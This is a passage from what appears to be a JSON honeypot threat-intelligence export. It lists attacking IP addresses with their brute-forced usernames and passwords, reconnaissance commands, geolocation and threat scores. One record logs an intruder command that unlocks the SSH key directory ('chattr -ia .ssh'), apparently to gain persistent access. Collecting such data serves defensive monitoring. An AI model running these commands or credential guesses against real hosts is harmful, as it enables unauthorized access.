        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T09:51:48.678000+00:00",
        "last_seen_30d": "2026-03-17T09:57:02.788000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "115.231.78.11": {
      "attack_count": 34,
      "first_seen": "2026-03-04T00:06:21.236Z",
      "last_seen": "2026-03-30T03:42:15.515Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3540,
        "days_active_30d": 30,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T01:35:28+00:00",
        "last_seen_30d": "2026-03-31T23:29:52.186000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2661,
        "Honeytrap": 486,
        "Tanner": 102,
        "Miniprint": 63,
        "Ipphoney": 60,
        "Dionaea": 46,
        "Honeyaml": 36,
        "Cowrie": 34,
        "ConPot": 26,
        "Mailoney": 26
      }
    },
    "152.42.175.180": {
      "attack_count": 33,
      "first_seen": "2026-03-09T13:02:53.788Z",
      "last_seen": "2026-03-09T13:09:51.396Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T13:02:53.788000+00:00",
        "last_seen_30d": "2026-03-09T13:10:52.630000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 11
      }
    },
    "103.26.86.159": {
      "attack_count": 30,
      "first_seen": "2026-03-26T17:20:28.207Z",
      "last_seen": "2026-03-26T17:23:43.843Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:20:28.207000+00:00",
        "last_seen_30d": "2026-03-26T17:24:52.514000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "206.135.161.98": {
      "attack_count": 30,
      "first_seen": "2026-03-27T10:34:56.270Z",
      "last_seen": "2026-03-27T10:38:10.695Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T10:34:56.270000+00:00",
        "last_seen_30d": "2026-03-27T10:39:12.581000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "206.168.201.42": {
      "attack_count": 30,
      "first_seen": "2026-03-31T07:36:27.979Z",
      "last_seen": "2026-03-31T07:39:42.230Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:36:27.979000+00:00",
        "last_seen_30d": "2026-03-31T07:40:51.469000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "103.232.121.232": {
      "attack_count": 24,
      "first_seen": "2026-03-09T20:36:24.916Z",
      "last_seen": "2026-03-09T20:38:22.848Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 56150,
      "as_org": "Viet Solutions Services Trading Company Limited",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:36:24.916000+00:00",
        "last_seen_30d": "2026-03-09T20:39:31.450000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "134.122.177.2": {
      "attack_count": 24,
      "first_seen": "2026-03-28T18:10:40.451Z",
      "last_seen": "2026-03-28T18:12:49.964Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 152194,
      "as_org": "CTG Server Limited",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T18:10:40.451000+00:00",
        "last_seen_30d": "2026-03-28T18:13:58.643000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 10
      }
    },
    "49.0.206.29": {
      "attack_count": 23,
      "first_seen": "2026-03-03T18:40:50.980Z",
      "last_seen": "2026-03-03T18:40:56.911Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Root123#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:40:50.980000+00:00",
        "last_seen_30d": "2026-03-03T18:42:04.298000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "61.53.126.156": {
      "attack_count": 20,
      "first_seen": "2026-03-16T03:31:10.556Z",
      "last_seen": "2026-03-16T03:33:19.854Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:31:10.556000+00:00",
        "last_seen_30d": "2026-03-16T03:34:29.395000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "38.188.160.77": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:32:21.872Z",
      "last_seen": "2026-03-11T00:02:18.441Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "260288",
        "654321a",
        "severine1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:32:21.872000+00:00",
        "last_seen_30d": "2026-03-11T00:03:20.605000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "79.172.250.13": {
      "attack_count": 15,
      "first_seen": "2026-03-27T10:26:20.261Z",
      "last_seen": "2026-03-27T10:26:24.102Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 215672,
      "as_org": "MoeChuang Network Limited",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T10:26:20.261000+00:00",
        "last_seen_30d": "2026-03-27T10:27:30.796000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "103.88.32.226": {
      "attack_count": 10,
      "first_seen": "2026-03-09T05:08:21.406Z",
      "last_seen": "2026-03-09T05:12:05.288Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136188,
      "as_org": "NINGBO, ZHEJIANG Province, P.R.China.",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T05:06:37.198000+00:00",
        "last_seen_30d": "2026-03-09T05:13:14.288000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "61.155.106.101": {
      "attack_count": 10,
      "first_seen": "2026-03-11T11:36:39.839Z",
      "last_seen": "2026-03-11T11:46:03.192Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "api",
        "opc"
      ],
      "passwords_attempted": [
        "123",
        "opc1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yangzhou",
      "asn": 137702,
      "as_org": "Nanjing, Jiangsu Province, P.R.China.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:36:39.839000+00:00",
        "last_seen_30d": "2026-03-11T11:47:12.962000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "123.209.117.132": {
      "attack_count": 9,
      "first_seen": "2026-03-05T13:23:44.456Z",
      "last_seen": "2026-03-13T12:51:49.963Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a"
      ],
      "passwords_attempted": [
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T13:23:44.456000+00:00",
        "last_seen_30d": "2026-03-13T13:22:55.153000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "182.43.164.191": {
      "attack_count": 9,
      "first_seen": "2026-03-20T03:09:25.564Z",
      "last_seen": "2026-03-20T03:15:47.559Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "elasticsearch"
      ],
      "passwords_attempted": [
        "elasticsearch"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:09:25.564000+00:00",
        "last_seen_30d": "2026-03-20T03:25:48.627000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "176.65.132.23": {
      "attack_count": 8,
      "first_seen": "2026-03-02T11:12:56.880Z",
      "last_seen": "2026-03-11T15:25:05.677Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 88.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 690,
        "days_active_30d": 30,
        "ports_targeted_30d": 138,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T11:06:38+00:00",
        "last_seen_30d": "2026-03-31T19:32:56.309000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 517,
        "Honeytrap": 165,
        "Cowrie": 8
      }
    },
    "24.39.156.214": {
      "attack_count": 8,
      "first_seen": "2026-03-05T00:03:03.041Z",
      "last_seen": "2026-03-05T00:03:28.098Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 12271,
      "as_org": "Charter Communications Inc",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:03:03.041000+00:00",
        "last_seen_30d": "2026-03-05T00:04:30.305000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "85.130.210.16": {
      "attack_count": 6,
      "first_seen": "2026-03-24T12:13:02.762Z",
      "last_seen": "2026-03-24T15:47:25.754Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T11:59:36.448000+00:00",
        "last_seen_30d": "2026-03-24T15:57:31.061000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 6
      }
    },
    "103.183.62.0": {
      "attack_count": 5,
      "first_seen": "2026-03-08T21:58:38.114Z",
      "last_seen": "2026-03-08T21:58:40.152Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "vm"
      ],
      "passwords_attempted": [
        "vm123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 149636,
      "as_org": "Hasan Broadband Net",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:58:38.114000+00:00",
        "last_seen_30d": "2026-03-08T21:59:44.327000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "14.103.123.87": {
      "attack_count": 5,
      "first_seen": "2026-03-14T02:40:28.857Z",
      "last_seen": "2026-03-14T02:40:32.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "mssqldba1"
      ],
      "passwords_attempted": [
        "mssqldba1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T02:40:28.857000+00:00",
        "last_seen_30d": "2026-03-14T02:41:33.608000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "38.188.160.128": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:29:55.890Z",
      "last_seen": "2026-03-10T23:29:58.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "dialogue"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:29:55.890000+00:00",
        "last_seen_30d": "2026-03-10T23:30:59.713000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "14.103.123.206": {
      "attack_count": 4,
      "first_seen": "2026-03-13T03:30:55.546Z",
      "last_seen": "2026-03-13T03:32:59.637Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T11:42:08+00:00",
        "last_seen_30d": "2026-03-13T03:43:59.413000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "170.64.178.146": {
      "attack_count": 4,
      "first_seen": "2026-03-15T14:36:41.524Z",
      "last_seen": "2026-03-15T14:44:11.700Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T14:36:41.524000+00:00",
        "last_seen_30d": "2026-03-15T14:45:12.060000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "2.57.122.192": {
      "attack_count": 4,
      "first_seen": "2026-03-14T04:04:36.088Z",
      "last_seen": "2026-03-14T04:04:37.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T04:04:36.088000+00:00",
        "last_seen_30d": "2026-03-14T04:05:43.030000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "34.76.70.193": {
      "attack_count": 4,
      "first_seen": "2026-03-08T16:09:44.032Z",
      "last_seen": "2026-03-08T16:09:45.620Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:09:44.032000+00:00",
        "last_seen_30d": "2026-03-08T16:10:48.533000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "115.220.0.238": {
      "attack_count": 3,
      "first_seen": "2026-03-21T06:36:44.990Z",
      "last_seen": "2026-03-21T06:38:44.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
